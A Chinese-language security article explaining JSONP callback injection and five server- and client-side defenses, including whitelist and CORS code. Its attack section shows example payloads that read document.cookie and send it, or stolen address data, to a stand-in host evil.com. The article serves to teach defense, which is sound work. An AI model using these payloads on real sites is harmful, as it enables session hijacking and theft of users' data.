JSONP回调函数污染的本质,是攻击者在请求中插入未预期的函数名或恶意脚本片段,利用服务端对回调参数校验不严的缺陷,将原本用于数据获取的JSONP接口变成一个反射型脚本注入点。由于JSONP依赖动态脚本标签加载,浏览器在收到响应后会立即执行回调函数中的内容,一旦回调参数被篡改,攻击者就能在受害者浏览器中执行任意JavaScript代码,窃取Cookie、劫持会话或发起钓鱼操作。这个漏洞的隐蔽之处在于,它不像传统XSS那样需要寻找输入点,而是直接利用业务逻辑中“必须支持跨域”这一特性,把跨域能力变成了攻击通道。
回调参数缺乏白名单校验是根本原因绝大多数JSONP接口在实现时,只关注了“返回数据包裹在回调函数中”这一格式要求,却忽略了回调函数名本身是否合法。服务端代码通常直接拼接用户传入的callback参数值,形如
response.write(request.getParameter("callback") + "(" + jsonData + ")");这种写法将用户输入原封不动地放入响应体,攻击者只需构造/api/jsonp?callback=alert(document.cookie)//就能让响应变成
alert(document.cookie)//({"name":"test"})浏览器加载这个脚本标签后,alert会立即执行,后面的JSON数据被注释符截断,完全不影响攻击载荷的运行。更危险的是,攻击者可以注入更复杂的代码,比如用new Image()外带数据、操作DOM伪造登录框、或者加载远程脚本进一步扩大攻击面。
回调名允许特殊字符加剧了绕过风险
部分开发者认为只要过滤掉圆括号和尖括号就能防御,但JSONP回调函数名在JavaScript中可以是任意符合标识符规则的字符串,甚至允许点号、方括号等字符。攻击者利用这一点,可以构造
/api/jsonp?callback=window.location%3D"http://evil.com/%3F"%2Bdocument.cookie经过URL解码后,回调名变成了
window.location="http://evil.com/?"+document.cookie如果服务端只做了简单的HTML实体编码而没做JavaScript上下文编码,这段代码依然能执行。更隐蔽的利用方式是通过原型污染,当回调参数被用于对象属性访问时,
__proto__或
constructor这类特殊属性名可能篡改全局对象行为,导致后续代码逻辑异常甚至权限提升。 Content-Type设置不当放大了危害
很多JSONP接口返回的Content-Type头是
text/html或
application/javascript,浏览器在解析时会有不同的行为。如果设置为
text/html,即使响应中包含明显的JavaScript代码,某些浏览器仍会尝试渲染为HTML,这为基于DOM的XSS提供了条件。正确的做法是强制返回
application/javascript,但这并不能阻止脚本执行,因为JSONP的设计初衷就是让浏览器执行回调函数。真正的问题是,服务端不应该信任任何来自客户端的可执行代码片段,回调函数名这个参数本身就是设计缺陷——它把“执行什么函数”的控制权交给了请求方,而请求方可能已经被攻击者控制。 防御方案一:回调名白名单硬编码
最彻底的防御方式,是服务端完全不接受用户传入的回调函数名,而是使用一个固定的、预定义的函数名。如果业务必须支持多个回调名,就维护一个白名单数组,只允许在白名单内的值通过,其他一律拒绝或替换为默认函数名。代码实现如下:
const ALLOWED_CALLBACKS = ['displayData', 'updateList', 'handleResult'];
const callback = request.query.callback;
const safeCallback = ALLOWED_CALLBACKS.includes(callback) ? callback : 'defaultCallback';
response.type('application/javascript');
response.send(`${safeCallback}(${jsonData})`);
这种做法的关键在于,白名单必须是服务端硬编码的常量,不能从数据库或配置文件中动态读取,避免配置注入导致白名单被篡改。如果回调名数量过多不便维护,说明接口设计本身需要收敛,应该考虑改用CORS替代JSONP。
防御方案二:严格限制回调名字符集并做输出编码当业务场景确实无法使用固定白名单时,必须对回调参数做严格的字符集校验。合法的JavaScript函数名只能包含字母、数字、下划线和美元符号,且不能以数字开头。正则表达式可以写成
/^[a-zA-Z_$][a-zA-Z0-9_$]*$/在校验通过后,还需要对输出进行JavaScript上下文编码,至少转义反斜杠、引号和换行符,防止闭合字符串或注入新语句。但要注意,仅靠字符集校验并不安全,因为攻击者仍然可以引用全局函数或对象方法,比如
fetch、
open等,所以这个方案只能作为纵深防御的一环,不能单独依赖。 防御方案三:用CORS彻底替代JSONP
JSONP本质上是跨域限制宽松时期的产物,现代浏览器已经全面支持CORS,服务端只需设置
Access-Control-Allow-Origin响应头,配合
XMLHttpRequest或
fetch就能安全地实现跨域数据请求。CORS的优势在于,响应是纯数据而非可执行脚本,即使攻击者伪造请求,浏览器也不会执行响应内容。迁移时需要注意,CORS请求分为简单请求和预检请求,对于携带自定义头或非标准Content-Type的请求,浏览器会先发送OPTIONS预检,服务端必须正确处理OPTIONS方法并返回对应的CORS头。同时,
Access-Control-Allow-Origin不要设置为
*,而应该严格指定允许的源,避免将敏感数据暴露给任意网站。 防御方案四:增加CSRF Token和Referer校验
JSONP请求通常通过脚本标签发起,这种请求无法自定义HTTP头,也无法携带CSRF Token。但服务端可以要求JSONP接口必须附带一个在URL参数中传递的Token,这个Token由主站页面动态生成并嵌入到脚本标签的src属性中。Token需要具备一次性、时效性和不可猜测性,攻击者无法提前构造有效的Token值。同时,校验Referer头也是一种补充手段,虽然Referer可能被部分客户端屏蔽或伪造,但对于来自明显异常域的请求,可以直接拦截。这两种机制叠加,能大幅提高攻击门槛,让自动化扫描工具难以利用JSONP漏洞。
防御方案五:Content Security Policy策略限制CSP可以通过
script-src指令限制哪些来源的脚本可以被执行。如果JSONP接口与主站同域,CSP无法直接阻止,但可以禁止
unsafe-inline,这样即使攻击者注入了回调名,内联脚本也不会执行。更有效的做法是,将JSONP接口迁移到独立子域名,然后在CSP中明确禁止该子域名的脚本执行权限,只允许主站域名加载脚本。对于必须保留的JSONP接口,可以使用
script-src的nonce或hash机制,但JSONP动态生成的特点使得nonce很难落地,所以更推荐直接废弃JSONP。 实际案例中的攻击变种
某电商平台的JSONP接口曾因回调参数过滤不严,被攻击者用来窃取用户收货地址。攻击者在一篇论坛帖子中嵌入了
<script src="https://api.example.com/user/address?callback=steal"></script>并在页面中提前定义了
function steal(data){new Image().src='http://evil.com/log?d='+encodeURIComponent(JSON.stringify(data))}浏览该帖子的已登录用户,其地址信息会被悄悄外传。这个案例的特殊之处在于,攻击者没有直接注入完整代码,而是利用回调函数名指向一个已定义的恶意函数,绕过了部分WAF的长度限制。这说明防御不能只关注参数内容,还要考虑全局命名空间污染的风险。
服务端框架层面的默认不安全实现
一些老旧框架和中间件默认开启了JSONP支持,且回调参数名约定俗成地使用
callback或
jsonp,攻击者只要扫描到这些参数名就能尝试利用。更糟糕的是,部分框架会自动把回调参数值中的特殊字符做简单过滤,但这种过滤往往不完整,比如只过滤了尖括号而忽略了反引号,攻击者可以用模板字符串语法绕过。建议排查所有后端接口,对于不再需要的JSONP支持直接关闭,对于必须保留的,要覆盖框架默认行为,强制使用自定义的白名单校验逻辑。 前端侧的防御配合
虽然JSONP漏洞的根源在服务端,但前端也可以采取一些措施降低风险。使用JSONP时,避免将回调函数定义在全局作用域,而是挂载到某个命名空间下,减少被攻击者猜测和利用的可能。同时,前端代码中不要动态构造JSONP请求的URL,尤其不要把用户输入拼接到URL参数中。如果必须从URL中读取参数传递给JSONP接口,要先做严格的客户端校验,虽然这不能作为安全防线,但能增加攻击难度。另外,现代前端框架普遍支持fetch API,应优先使用fetch配合CORS,从架构层面消除JSONP的使用场景。
监控与应急响应在防御措施落地后,还需要建立对JSONP接口的异常监控。重点关注回调参数中出现非白名单值、包含特殊字符、长度异常等情况,这些很可能是攻击探测行为。日志中应记录完整的请求URL、Referer、时间戳和响应状态,便于事后溯源。一旦发现攻击行为,应立即阻断相关IP或会话,并检查是否有数据泄露的迹象。对于已确认存在漏洞的接口,修复方案不是简单加过滤,而是要重新评估该接口是否有必要继续使用JSONP,多数情况下直接废弃并迁移到CORS才是最优解。
JSONP回调函数污染本质上是信任边界问题,服务端错误地信任了客户端提供的可执行代码片段。防御的核心思路是剥夺攻击者对回调内容的控制权,要么用白名单限定死,要么干脆不用JSONP。在跨域方案已经成熟的今天,继续依赖JSONP无异于在安全体系中保留一个可控的脚本注入点,无论加多少层过滤,都不如直接关闭这个攻击面来得彻底。
